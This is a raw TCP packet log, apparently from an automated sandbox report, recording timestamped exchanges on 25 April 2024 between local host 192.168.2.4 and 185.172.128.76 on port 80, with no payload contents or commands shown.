Apr 25, 2024 14:42:07.656565905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656591892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.656610966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656629086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.656655073 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656666994 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.656687021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656703949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.656716108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656743050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.656754017 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656780958 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.656790972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656820059 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.656826973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656857967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.656867981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656897068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.656903982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656934023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.656946898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656980038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.710480928 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.710522890 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.710560083 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.710597992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.710618973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.710639000 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.710691929 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.710876942 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.710917950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.710938931 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.710969925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.710973024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.711011887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.711045027 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.711050987 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.711066008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.711102962 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.711106062 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.711143970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.711159945 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.711182117 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.711196899 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.711220026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.711235046 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.711255074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.711275101 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.711292028 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.711304903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.711328983 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.711345911 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.711366892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.711384058 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.711400986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.711420059 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.711453915 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.764842033 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.765072107 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.808223009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.808274031 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.808310986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.808348894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.808386087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.808407068 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.808424950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.808438063 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.808449984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.808466911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.808486938 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.808504105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.808521986 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.808542013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.808554888 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.808579922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.808594942 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.808630943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.808634043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.808672905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.808681965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.808710098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.808722973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.808748960 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.808757067 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.808785915 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.808799982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.808824062 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.808835983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.808861971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.808886051 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.808900118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.808913946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.808938980 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.808950901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.808978081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.808989048 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.809030056 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.863251925 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.863292933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.863329887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.863416910 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.863455057 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.863488913 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.863492012 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.863488913 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.863518953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.863518953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.863531113 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.863540888 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.863568068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.863581896 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.863606930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.863616943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.863645077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.863655090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.863682032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.863693953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.863723993 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.863734961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.863773108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.863791943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.863811970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.863830090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.863851070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.863871098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.863889933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.863904953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.863929987 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.863944054 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.863969088 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.863985062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864007950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864025116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864046097 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864059925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864084005 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864094019 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864134073 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864141941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864181042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864192963 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864217997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864228964 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864255905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864265919 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864294052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864304066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864331961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864341974 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864368916 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864379883 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864407063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864418983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864447117 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864471912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864483118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864489079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864531040 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864561081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864598989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864608049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864636898 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864646912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864675999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864686966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864713907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864725113 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864752054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864761114 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864790916 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864797115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864829063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864840031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864866972 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864883900 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864907980 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864916086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864944935 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.864953995 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.864991903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.917012930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.917057037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.917093992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.917130947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.917145014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.917170048 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.917171955 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.917206049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.917229891 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.917243958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.917268991 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.917279959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.917306900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.917316914 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.917357922 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.917932987 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.917994976 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.918694973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.918734074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.918755054 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.918781996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.918832064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.918870926 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.918888092 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.918909073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.918924093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.918948889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.918962002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.918986082 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.918999910 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919027090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.919039011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919064045 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.919079065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919102907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.919116974 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919141054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.919154882 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919178963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.919192076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919218063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.919231892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919255018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.919270992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919292927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.919306993 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919329882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.919343948 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919368029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.919382095 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919405937 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.919420004 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919445992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.919483900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.919490099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919502974 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919523001 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.919532061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919560909 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.919575930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919600010 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.919615984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919639111 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.919656992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919677973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.919692039 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919715881 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.919729948 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919753075 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.919766903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.919804096 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.971435070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.971474886 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.971518040 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.971535921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.015701056 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.015744925 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.015783072 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.015790939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.015815020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.015824080 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.015841007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.015862942 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.015876055 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.015901089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.015912056 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.015939951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.015947104 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.015990019 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.016016960 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.016055107 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.016074896 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.016093016 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.016122103 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.016146898 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.016149044 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.016185999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.016232014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.016252041 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.016311884 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.016350985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.016366005 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.016386986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.016401052 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.016424894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.016441107 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.016463995 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.016479969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.016500950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.016513109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.016537905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.016552925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.016591072 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.016658068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.016695023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.016710997 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.016745090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.016763926 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.016801119 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.016817093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.016855001 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.016870975 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.016928911 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.016973019 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.017010927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.017028093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.017050028 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.017061949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.017087936 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.017102003 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.017127037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.017138958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.017179966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.017199039 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.017235994 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.017256021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.017281055 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.017304897 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.017374039 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.017374992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.017410994 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.017426968 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.017450094 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.017463923 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.017503023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.017518997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.017556906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.017576933 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.017594099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.017606020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.017632008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.017642975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.017669916 CEST	80	49731	185.172.128.76	192.168.2.4
